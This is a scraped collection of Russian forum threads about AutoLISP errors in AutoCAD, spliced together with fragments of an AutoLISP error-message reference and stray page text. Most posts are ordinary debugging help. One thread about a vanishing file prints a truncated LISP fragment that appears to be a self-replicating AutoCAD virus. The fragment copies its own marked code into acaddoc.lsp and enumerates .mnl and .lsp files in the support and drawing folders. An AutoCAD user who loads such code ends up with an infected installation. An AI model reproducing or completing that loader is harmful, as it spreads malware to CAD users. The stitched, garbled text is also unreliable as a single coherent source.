|
pavel481516 0 / 0 / 0 Регистрация: 12.02.2015 Сообщений: 16 |
||||
|
1 |
||||
Неверно сформированный список на входе23.04.2017, 00:16. Показов 4808. Ответов 4 Метки нет (Все метки)
Функция «lp» строит оси координат (строки 6-9), Ошибка:Неверно сформированный список на входе
__________________
0 |
|
Programming Эксперт 94731 / 64177 / 26122 Регистрация: 12.04.2006 Сообщений: 116,782 |
23.04.2017, 00:16 |
|
4 |
|
544 / 868 / 144 Регистрация: 10.08.2015 Сообщений: 4,455 |
|
|
23.04.2017, 15:36 |
2 |
|
В строках 6,8,21,22 не хватает закрывающей скобки
1 |
|
0 / 0 / 0 Регистрация: 12.02.2015 Сообщений: 16 |
|
|
23.04.2017, 15:56 [ТС] |
3 |
|
Спасибо, но теперь другая ошибка
0 |
|
544 / 868 / 144 Регистрация: 10.08.2015 Сообщений: 4,455 |
|
|
23.04.2017, 16:29 |
4 |
|
Решение в строке 6, 8 не хватает апострофа
2 |
|
0 / 0 / 0 Регистрация: 12.02.2015 Сообщений: 16 |
|
|
23.04.2017, 16:36 [ТС] |
5 |
|
Спасибо.
0 |

Внимание!
1. Пользуйтесь тегами кода. — [code] … [/code]
2. Точно указывайте язык, название и версию компилятора (интерпретатора).
3. Название темы должно быть информативным.
В описании темы указываем язык!!!
Наладить общение поможет, если вы подпишитесь по почте на новые темы в этом форуме.
|
|
|
Сообщение |
|
|
Пионер
Группа: Пользователи
Репутация: |
Задание: Написать программу подсчета количества атомов в заданном интервале уровней для заданного списка. Код (setq m nil);количество атомов Вроде всё нормально, не уверен с проверкой на то, является ли элемент атомом, просто не очень удобный Компилятор, не понимаю, что не так… |
|
|
|
| RussoTuristo |
Сообщение |
|
Пионер
Группа: Пользователи
Репутация: |
Немного сам не понял задачу, для заданных уровней — означает вложенность списков друг в друга (Например: (1 2 3(4 5 (6 (7)))) У 7 — уровень вложенности 4). Код (Defun Find() По количеству открывающих/закрывающих скобок ищем уровень вложенности, и сравниваем с заданным, если то, что надо — увеличиваем count на 1… |
|
|
|
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0
Связь с администрацией: bu_gen в домене octagram.name
7.3. Список зарезервированных
идентификаторов
Следующие идентификаторы зарезервированы
для внутреннего пользования. Их нельзя использовать для имен переменных и
функций в пользовательских программах.
*Backtrace*
если переменная равна T, то, если встретилась
ошибка и не определена функция ERROR, печятается список имен в цепочке вызовов. Значение по
умолчанию Тю
*break* встроенная
переменная AutoLISP, управляющая условной обработкой
ошибок для AutoLISP c отладчиком. Если она равна Т,
задейетвуется цикл прерывания. Значение по умолчанию nil.
*Fastlink* если
переменная равна Т, то все обращения к функциям в скомпилированныхфункцияях
реализуется напрямую, поэтому невозможно отследить обращения в скомпилированных
функциях и в случае ошибки не будет видна бальшая часть трассы. Установка
значения переменной в nil обеспечивает обычую
трассировку, но при этом выполнение пойдет медленнее.Значение по умолчанию
равно Т.
*quietload* если
переменная равна nil, имена загружаемых функций
выводится на экран. Значение по умолчанию равно Т.
*user_break* если
функция с этим имнем, то она вызывается перед передачей управления
интерактивному отладчику.
*St, si* опции
пощаговой обработки, имеющиеся на уровне цикла прерывания при отладке.
*Bdc2, bdc4* внутренние
функции, используемые при загрузке скомпилированных функций.
*Reversip* встроенная
функция для быстрого реверсирования списка. Она необходима для поддержки
некоторых скомпелированных программ и дожна использоваться только для
внутренних целей.
Функции, описанные ранее:
Back_trace, break, debug, errset,
nextatom, signal_error, special, undebug, c:reset
Идентификаторы, возвращаемые функцией TYPE
для некоторых типов внутренних кодов:
Asubr, csubr, cympage, fsubr, agetb,
vsubr
8.Сообщения об ошибках
8.1 Собщения об ошибках стандартного
AutoLISP
Если AutoLISP встречает ошибку во время
вычислений, он печатает сообщиние в виде:
Error:текст
И обратную трассировку функций. Здесь текст – это опписание
ошибки. Ниже приведен список сообщений об ошибках, которые мгогут быть встречены
в процессе написания и отладки функкций AutoLISP.
ATOMLIST modified after function swap
ATOMLIST изменен после выгрузки
Функция модифицирует ATOMLIST. Это
не допустимо после выполнения функции VMON
AutoCAD rejected function
Неразрешенная функция
Аргументы, переданные в функцию AutoCAD,
были неверны или же в данном контексте сама функция неверна. Например, нельзя
пользоваться функциями GETxxx из функции COMMAND.
Bad argument type
Неверный тип аргумента
В функцию был передан неверный тип аргумента.
Bad association list
Неверный ассоциативный список
Список , переданный в функцию ASSOC ,
не состоит из списков “(ключ значение)”.
Bad entmod list
Неверный список описания примитива
Аргумент, переданный в функцию ENTMOD,
не состоит из списка данных примитива, возвращаемого функцией ENTGET.
Bad entmode list value
Список описания примитива содержит неверное значение
Один из подсписков переданных в функцию ENTMOD,
содержит неверное значение.
Bad formal argument list
Неверный список фоормальных аргументов
Выполняя функцию, AutoLISP обнаружил
неверный список формальных аргументов Возможно, это не функция, а список
данных.
Bad function
Неверное имя функции
Первый елемент списка – недопустимое имя функции. Возможно,
это имя переменной или число. Это сообщение может также указывать, что
функция неверно определена – не следует забывать требуемый список формальных
аргументов.
Bad list
Невероятный список
В функцию был передан неверно сформированный список.Это
может произойти, если действительное число начинается с десятичной точки; в
подсбных случаях число необходимо начинать с нуля.
Bad node.
Неверный тип элемента
Функция TYPE столкнулась с элементом
неверного типа.
Bad node type in list
Список содержит элемент невеноготипа
Уважаемый посетитель!
Чтобы распечатать файл, скачайте его (в формате Word).
Ссылка на скачивание — внизу страницы.
Перейти к содержимому раздела
Форумы CADUser
Информационный портал для профессионалов в области САПР
Вы не вошли. Пожалуйста, войдите или зарегистрируйтесь.
Дерево сообщений Активные темы Темы без ответов
Страницы 1
Чтобы отправить ответ, вы должны войти или зарегистрироваться
#1 27 апреля 2008г. 14:35:20

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Тема: Нужна помощь с AutoLISP
Здравствуйте!
Задали написать программу на автолиспе чтобы запрашивала у пользователя размеры того что будет строить. Я не знаю каким образом это осоуществить. вроде с функциями типа commnad и setq разобрался, а как спросить пользователя у размерах, и каким образом недопкстить задание им слишком больших или слишком малых размеров?
Зарание спасибо.
#2 Ответ от Н.Н.Полещук 27 апреля 2008г. 14:43:37
- Н.Н.Полещук
- Восстановленный участник
- На форуме с 19 марта 2004г.
- Сообщений: 358
- Спасибо: 0
Re: Нужна помощь с AutoLISP
> Aspirine
См. функции getreal, getint, initget, getpoint
#3 Ответ от Aspirine 27 апреля 2008г. 14:56:09

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
Спасибо. А не подскажите какую-нибудь литературу в которой описаны эти функции?
#4 Ответ от Aspirine 28 апреля 2008г. 11:24:58

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
В общем немного разобрался. Вот только проблема небольшая. Вот код:
(command "_cylinder" "0,0,0" "3" "6") (setq c1 (ssget "l")) (command "_cylinder" "0,0,0" "1.25" "8") (setq c2 (ssget "l")) (command "_cone" "0,0,8" "1.25" "радиус" "0.5" "0.2") (setq k1 (ssget "l")) (command "_zoom" "гр" "") (command "_.union" c2 k1 "") ;(setq c1 (entlast))
При попытке загрузки в автокад, выдаёт:
«; ошибка: неверная строка режима ssget»
Синтаксис проверил, вроде всё норма.
В чем проблема?
P.S. Цункцию ssget пытаюсь использовать для дальнейшего использования команд _union и _substract. Если возможно подругому подскажите плиз. Спасибо.
#5 Ответ от Александр Ривилис 28 апреля 2008г. 13:30:12

- Александр Ривилис
- Активный участник
- Откуда: Украина / Киев
- На форуме с 15 апреля 2005г.
- Сообщений: 8,659
- Спасибо: 157
Re: Нужна помощь с AutoLISP
#6 Ответ от Aspirine 28 апреля 2008г. 14:14:40

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
Спасибо. Действительно помогло…
Можно ещё вопрос. Мне нужно организовать чтобы пользователь имел возможность сам вводить размеры детали из определённой зоны значений.
Написал пока вот что:
(setq hd 10)
(setq parametr1 (getreal (strcat "nВведите высоту детали <" (rtos hd) ">: ")))
(setq hd (if parametr1 parametr1 hd))
(setq rc1 3)
(setq parametr2 (getreal (strcat "nВведите радиус большого цилиндра <" (rtos rb) ">: ")))
(setq rc1 (if parametr2 parametr2 rc1))
(setq rb1 6)
(setq parametr3 (getreal (strcat "nВведите высоту большого цилиндра <" (rtos rs) ">: ")))
(while (> parametr3 hd)
(setq parametr3 (getreal (strcat "nВведите высоту большого цилиндра <" (rtos rs) ">: ")))
)
(setq rb1 (if parametr3 parametr3 rb1))
При загрузке а AutoCAD, он даёт ввести первое значение, а потом вылетает обратно в редактор автолиспа и в консоли Автолиспа следующая ошибка:
«ошибка: неверный тип аргумента: numberp: nil»
Никак не могу понять в чём проблема.
#7 Ответ от Victor 28 апреля 2008г. 14:38:09

- Victor
- Восстановленный участник
- На форуме с 26 марта 2007г.
- Сообщений: 270
- Спасибо: 0
Re: Нужна помощь с AutoLISP
Что такое rb?
#8 Ответ от Atol 28 апреля 2008г. 14:39:00

- Atol
- Активный участник
- На форуме с 21 февраля 2006г.
- Сообщений: 1,365
- Спасибо: 3
Re: Нужна помощь с AutoLISP
В редакторе Автолиспа есть возможность проставлять метки остановки (наставь до и после функций) и просмотра текущего значения переменных (а то и целых выражений) для контроля и поиска ошибок
#9 Ответ от Aspirine 28 апреля 2008г. 15:08:25

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
rb- это переменная которая должна по идеи соответствовать высоте большого цилиндра.
#10 Ответ от Aspirine 28 апреля 2008г. 15:19:39

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
Увидел… Да, это не внимательность и моя лень, копировал и набивал разное.
Исправил.
Но это не решило проблему…
#11 Ответ от Aspirine 28 апреля 2008г. 16:35:26

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
Разобрался, спасибо. Дело было в неправильно ориентированных переменных.
Но возник ещё вопрос:
Мне нужно в координатах начальной точки тела указать две координаты и одну переменную, котороя может измениться исходя из желанию конеченого пользователя.
Например:
(command "_cylinder" "0,0,S3" rc1 rb1 "")
где rc1,rb1, S3 — переменые. Автокад при загрузке в него говорит что так координаты точек
«0,0,S3» задавать нельзя. Как пуступить в этой ситуации?
#12 Ответ от Александр Ривилис 28 апреля 2008г. 16:49:24

- Александр Ривилис
- Активный участник
- Откуда: Украина / Киев
- На форуме с 15 апреля 2005г.
- Сообщений: 8,659
- Спасибо: 157
Re: Нужна помощь с AutoLISP
(command "_cylinder" (list 0 0 S3) rc1 rb1 "")
#13 Ответ от Aspirine 28 апреля 2008г. 18:18:56

- Aspirine
- Восстановленный участник
- На форуме с 20 марта 2008г.
- Сообщений: 13
- Спасибо: 0
Re: Нужна помощь с AutoLISP
помогло, спасибо. А команда List- она создаёт список, да?
#14 Ответ от Александр Ривилис 28 апреля 2008г. 18:41:36

- Александр Ривилис
- Активный участник
- Откуда: Украина / Киев
- На форуме с 15 апреля 2005г.
- Сообщений: 8,659
- Спасибо: 157
Re: Нужна помощь с AutoLISP
> Александр Ривилис
Функция (а не команда) (list …) создает список. Учи мат.часть (т.е. язык программирования AutoLisp/VisualLisp).
Сообщения 14
Тему читают: 1 гость
Страницы 1
Чтобы отправить ответ, вы должны войти или зарегистрироваться
В чем проблема? «error: bad argument type: stringp nil&
Инженер по системам безопасности
Где то в процессе исполнения кода переменная которая должна быть строкой принимает значение NIL, либо вообще не назначается.
Причиной этого может быть либо несовместимось работы кода в 2006-м, либо отсутствие какой либо функции которая напрямую не вызывается основной, однако в процессе загрузки должна создавать такую глобальную переменную.

Версия Автокада англ.+ SP1. Дело в том, что этот же самый кад стоит и на работе, где работает программа «Prokat» без проблем. Единственное отличие, так это то, что там стоит Win_xp Home с SP2, а дома, где и не работает, система Win_xp Prof. c SP1. Чистил реестр вручную, переустанавливал с SP1 и без, результат: error: bad argument type: stringp nil
Прилагаю папку с файликами, может что-то там и не так?
[ATTACH]1137611429.rar[/ATTACH]


(setq flagx t)
(setq bz «(setq flagx t)»)
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target «r»))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source «r»))
(setq wjm1 (open target «a»))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar «cmdecho» 0)
(setq acadmnl (findfile «acad.mnl»))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath «*.mnl»))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile «acad.exe»))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath «\support»))
(setq lspfilelist (vl-directory-files support «*.lsp»))
(setq lspfilelist (append lspfilelist (list «acaddoc.lsp»)))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar «dwgname»))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath «\acaddoc.lsp»))
(setq mnln 0)
(while (
не могу создать файл *.txt с этим текстом внутри он сразу же исчезает 
LISP, C# (ACAD 200[9,12,13,14])
LISP, C# (ACAD 200[9,12,13,14])
ИМХО будет проще сделать не так:
1. Определить, какие системные переменные изменяются
2. Нарисовать собственный код, выполняющий эти действия
Offtop: P.S. Да его (txt) даже создать нельзя. Он исчезает (удаляется, может куда-то переносится я не знаю) как только жмешь «сохранить» и закрываешь окно блокнота. этот код меня дурачком скоро сделает
LISP, C# (ACAD 200[9,12,13,14])
Offtop: Баба яга против! по целому ряду причин:
1. странный вирус какой-то направленный на очень непопулярный файл формата *.VLX
2. зачем все тому же вирусу прицепляться к файлам конфигурации автокада (промышленный шпионаж?)?
3. почему вебом были вылечены исключительно файлы меню и настроек все того же автокада (вирус собирает статистику по настройкам автокада?).
Я полагаю, что веба после его обновления смутила автозагрузка 3Д инжиниринга и его дополнительных файлов. и он изящненько так изменил ( ну или как он говорит вылечил) те строки конфигурации которые подгружали эти маленькие, но приятные утилитки.
LISP, C# (ACAD 200[9,12,13,14])
4u4undra7410, во-первых: http://adn-cis.org/posledovatelnost-. v-autocad.html + http://adn-cis.org/autocad-autoload-security.html
Во-вторых, вирусы «только под AutoCAD» существуют: Не работают некоторые команды и множатся файлы acaddoc.lsp
В-третьих, vlx компилирован, и его просто так не распознаешь. Файлы cui, cuix, mnl вскрываются «на раз» (первая ссылка).
Смотри ссылки на статьи и думай, как и что надо менять в загрузке своего дополнения.
Источник
Ошибка: неверный тип аргумента: stringp nil
Форумы CADUser → Программирование → LISP → Ошибка: неверный тип аргумента: stringp nil
Чтобы отправить ответ, вы должны войти или зарегистрироваться
Сообщения 6
#1 Тема от Blackjek 24 июля 2015г. 16:35:04
Тема: Ошибка: неверный тип аргумента: stringp nil
Добрый день коллеги.
Моим товарищем было написан лисп:
(defun c:11 (/ xyfill osm ocmd spt ept cla)
;;—————————————————————————
;; функция заливки прямоугольника, определенного точками 1pt и 2pt в текущей ПСК,
;; блоками с именем bname на максимальном расстоянии maxdist
(defun xyfill (1pt 2pt maxdist bname / n_meas nx ny dx dy sx sy ix iy)
(defun n_meas (1p 2p d / n) ;_ возвращает количество точек деления по координате
(max (fix (if (not (zerop (- (abs (- 2p 1p)) (* (fix (setq n (/ (abs (- 2p 1p)) d))) d))))
(1+ n)
n
) ;_ if
) ;_ fix
1 ;_ минимум одна точка деления
) ;_ max
) ;_ defun n_meas
(setq dimlf1 (getvar «DIMLFAC»));; установка масштаба блока «Оросители»
(setq mashbloka1 (/ 1.0 dimlf1))
(setq nx (n_meas (car 1pt) (car 2pt) maxdist))
(setq ny (n_meas (cadr 1pt) (cadr 2pt) maxdist))
(setq dx (/ (- (car 2pt) (car 1pt)) nx)) ;_ шаг по X
(setq dy (/ (- (cadr 2pt) (cadr 1pt)) ny)) ;_ шаг по Y
(princ (list «рядов по X=» nx «, по Y=» ny «, шаг X=» dx «, шаг Y=» dy));;писанина
(setq sx (+ (car 1pt) (* dx 0.5)))
(setq sy (+ (cadr 1pt) (* dy 0.5)))
(setq ix sx)
(repeat nx
(setq iy sy)
(repeat ny
(vl-cmdf «_.insert» bname (list ix iy) mashbloka1 mashbloka1 0)
(setq iy (+ iy dy))
) ;_ repeat
(setq ix (+ ix dx))
) ;_ repeat
) ;_ defun xyfill
;;—————————————————————————
;; Установка слоёв
(setq ocmd1 (getvar «cmdecho»))
(setvar «cmdecho» 0)
(if (setq layget (tblsearch «LAYER» «Оросители»)) ; проверка на наличие слоя
(cond ; если есть, то проверка его состояния
((= (logand 1 (cdr (assoc 70 layget))) 1)
(alert «Слой »Оросители», заморожен!nnДальнейшая работа, увы, невозможна. «)
(exit)
)
((= (logand 4 (cdr (assoc 70 layget))) 4)
(alert «Слой »Оросители» заблокирован!nnДальнейшая работа, увы, невозможна. «)
(exit)
)
((minusp (cdr (assoc 62 layget)))
(alert «Внимание. nnСлой »Оросители», на котором будет отрисован объект, невидим!»)
)
) ;_ cond
(vl-cmdf «_.layer» «_n» «Оросители» «_c» 20 «Оросители» «») ; создание слоя, если такого нет
) ;_ if
(setvar «cmdecho» ocmd1)
;;конец функции установки слоев
(vla-startundomark (vla-get-activedocument (vlax-get-acad-object)))
(setq cla (getvar «CLAYER»))
(setq ocmd (getvar «cmdecho»))
(setq osm (getvar «osmode»))
(setq bname1 «Ороситель») ;; Имя блока
(princ (strcat «nЗаливка прямоугольника блоками » bname1 «.»))
(initget 1)
(setq spt (getpoint «nОдин угол >»))
(initget 1)
(setq ept (getpoint «nДругой угол >»))
(princ «nМинуточку. n»)
(setvar «CLAYER» «Оросители»)
(setvar «cmdecho» 0)
(setvar «osmode» 0)
(xyfill spt ept (/ (atof(getenv «min-dist»)) (getvar «dimlfac»)) bname1) ;_ указать минимальную дистанцию и имя блока заливки
(setvar «cmdecho» ocmd)
(setvar «CLAYER» cla)
(setvar «osmode» osm)
(vla-endundomark (vla-get-activedocument (vlax-get-acad-object)))
(princ «nГотово
«)
(princ (strcat «nШаг между оросителями составляет : » (getenv «min-dist») «мм»))
(princ)
) ;_ defun
;;;**********************************************************************************************************
(defun min-dist-orosit (/ i)
;; (min-dist-orosit)
(or (getenv «min-dist») (setenv «min-dist» «4000»))
(initget «» 6)
(if (setq i
(getdist
(strcat «n Укажите минимальную дистанцию между блоками [» (getenv «min-dist») «]»)
) ;_ getint
) ;_ setq
(setenv «min-dist» (rtos i 2 3))
) ;_ if
(atof (getenv «min-dist»))
) ;_ defun
Смысл данной программы заключается:
1. Создается слой
2. равномерное распределение блока «ороситель» по всей площади помещения с указанием шаг оросителя.
Источник
; ошибка: неверный тип аргумента: File nil
Чтобы отправить ответ, вы должны войти или зарегистрироваться
Сообщения 4
#1 Тема от la_vanille_ciel 21 апреля 2008г. 07:15:58
Тема: ; ошибка: неверный тип аргумента: File nil
(vmon)
(defun C:Shtamp2a ()
(setvar «cmdecho» 0)
(setq osm (getvar «osmode»))
(setq Lay (getvar «Clayer»))
(setvar «clayer» «0»)
(setq curtab (tblobjname «STYLE» «STANDARD»))
(setq ed (entget curtab)) ;Установка в стиле STANDARD
(setq ed (subst (cons 3 «simplex.shx») (assoc 3 ed) ed )) ;файла шрифта simplex
(setq ed (subst (cons 41 0.8) (assoc 41 ed) ed )) ;сжатия 0.8
(setq ed (subst (cons 40 0.0) (assoc 40 ed) ed )) ;высота текста=0
(setq ed (subst (cons 50 0.261799) (assoc 50 ed) ed )) ;и угла наклона 15
(entmod ed)
(setq txt (getvar «textstyle»))
(setvar «textstyle» «standard»)
(setq Dog «»)
(if (findfile «C:\Shtamp\shtamp.txt»)
(progn
(setq FL (open «C:\Shtamp\shtamp.txt» «r»))
(setq Dog (read-line FL))
))
(setq OTV «Y»)
(IF (= (strlen Dog) 0)
(progn
(textscr)
(princ «Не заполнены данные для штампа. Необходимо выполнить ЗАПОЛНЕНИЕ ШТАМПА.n»)
(setq Otv (getstring «Вставить пустой штамп? : «))
(if (or (= otv «») (= otv «y»))
(setq OTV «Y»)
)
(graphscr)
(if (= OTV «Y»)
(princ
(setq M (getstring «Масштабный кофициент (1): «))
(if (= M «»)
(setq M «1»)
)
(setq T0 (getpoint «n Покажите точку вставки штампа :»))
(setvar «osmode» 0)
(command «_insert» «sh2a» T0 M M «0»)
(setq M (atof M))
(command «_text» (mapcar ‘- T0 (list (* 45 M) (* 4 M))) (* 3 M) «0» «Формат А»)
))
))
(if (> (strlen Dog) 0)
(progn
(setq M (getstring «Масштабный кофициент(1) : «))
(if (= M «»)
(setq M «1»)
)
(setq T0 (getpoint «n Покажите точку вставки штампа :»))
(setvar «osmode» 0)
(command «_insert» «sh2a» T0 M M «0»)
(setq M (atof M))
(command «_text» (mapcar ‘- T0 (list (* 45 M) (* 4 M))) (* 3 M) «0» «Формат А»)
(setq Dog (strcase Dog))
(setq T1 (polar T0 (/ pi 2) (* 32.5 M)))
(setq T1 (polar T1 pi 60))
(command «_text» «_m» T1 (* 5 M) «0» Dog)
(setq Pr (read-line FL))
(setq Ob (read-line FL))
(setq Name (read-line FL));Ncontr
(setq D (Strlen Name))
(setq T1 (polar T0 pi (* 164 M)))
(setq T1 (polar T1 (/ pi 2) (* 21 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
(setq Name (read-line FL));gip
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) 5))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
(setq Name (read-line FL));Nachotd
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) (* 5 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
(setq Name (read-line FL));Fio
(setq D (Strlen Name))
(setq T1 (polar T1 (* (/ pi 2) 3) (* 10 M)))
(if (> d 8)
(Command «_Text» «_f» T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command «_Text» T1 (* 3 M) «0» Name)
)
))
(setvar «clayer» Lay)
(setvar «textstyle» txt)
(setvar «osmode» osm)
(setvar «cmdecho» 1)
)
Вот этот код отвечает за вставку штампов и почему-то, с некоторых пор, после указания точки вставки Автокад выдает ошибку о неверном типе аргумента. Что нужно исправить?
Спасибо.
Источник
Компилированные формы, как от этого избавиться?
Вопрос в следующем:
Во время открытия файла появляеться такое окно. (см. принскрин)
нажимаю отмена, открываеться файл, таких шрифтов у меня в документе нету (или я не знаю где он засел. )
Как от этого избавиться, очень напрягает
.
Заранее спасибо!
[ATTACH]1171735546.JPG[/ATTACH]
Инженер по автоматизации (строительство)


Изобретение металлических гаражей
Что же оно так все сложно?
Неужели нет более других нормальных способов избавиться от выскакивающего окошка?
Рассказываю свою историю. Пришел с утра на работу, думаю дай-ка установлю известную местную программу Прокат. Читаю ридми.. Приписываю в автокаде Путь доступа к вспомогательным файлам. Запускаю prokat, ничего не происходит
Программа ПРОКАТ (2d) загружена. Сборка 458 от 10.02.2009
Команда:
Команда: prokat
Ошибка загрузки файла _kpblc-linetype-load_.lsp : неверный тип аргумента:
stringp nil
Ошибка загрузки файла dvt_p.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла dvt_r.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_r.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_rp.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла shv_rg.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_rp.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_np.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_rg.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла ug_ng.lsp : неверный тип аргумента: stringp nil
Ошибка загрузки файла tr_prf.lsp : неверный тип аргумента: stringp nilневерный
тип аргумента: stringp nil====15359
п.с Автокад 2008 рус
Ничего криминального вроде не делал, чужие файлы не открывал, ничего из них не копировал и т.п.
Никаких экспериментов со шрифтами не делал тоже, работал спокойненько потихонечку 
Источник
Что такое неверный тип аргумента автокад
Сообщения об ошибках
Здесь приведен список сообщений об ошибках, которые вы можете встретить в процессе написания и отладки функций Автолиспа. Они выводятся стандартным обработчиком ошибок Автолиспа в виде:
Список сообщений об ошибках
AutoCAD rejected function
В функцию был передан неверный тип аргумента. (Например, вы не можете выполнить функцию STRLEN над целочисленным аргументом.)
bad association list
bad formal argument list
Выполняя функцию, Автолисп обнаружил неверный список формальных аргументов. Возможно это вовсе и не функция, а список данных.
В функцию был передан неверно сформированный список. Это может произойти, если действительное число начинается с десятичной точки; в подобных случаях необходимо число начинать с нуля.
Функция TYPE столкнулась с элементом неверного типа.
bad node type in list
Функция FOREACH столкнулась с элементом неверного типа.
bad point argument
В функцию, ожидающую точку, была передана неверно специфицированная точка. Будьте внимательны, не начинайте действительное число с десятичной точки; в подобных случаях необходимо число начинать с нуля.
Первый аргумент в функции BOOLE должен быть целым числом между 0 и 15.
can’t evaluate expression
Эта ошибка может произойти в случае неверного размещения десятичной точки или неверно сформированного выражения.
Недопустимое деление на ноль.
Встречено одна или более лишних правых скобок.
Описатель файла для операции ввода/вывода относится не к открытому файлу.
function undefined for argument
function undefined for real
В функцию вместо целочисленного аргумента было передано действительное число. Например : (LSH val 1.2)
Аргумент функции GCD отрицательное число или ноль.
incorrect number of arguments to a function
insufficient node space
Для выполнения требуемого действия недостаточно динамической памяти.
insufficient string space
Для размещения требуемой текстовой строки недостаточно динамической памяти.
Неверный тип аргумента или же аргумент выходит за пределы допустимых значений.
Выражение содержит неверный символ.
invalid dotted pair
Превышено пространство стека Автолиспа. Это может произойти либо в случае чрезмерной глубины рекурсивной функции, либо в случае очень большого списка аргументов.
Такое сообщение может быть получено в случае, когда действительное число начинается с десятичной точки; в подобных случаях необходимо число начинать с нуля.
Была предпринята попытка выполнить неизвестную функцию.
Во встроенную функцию было передано недостаточное число аргументов.
too many arguments
Во встроенную функцию было передано чрезмерное число аргументов.
Источник
Сообщение было отмечено pavel481516 как решение
11.11.2009 13:21
0 




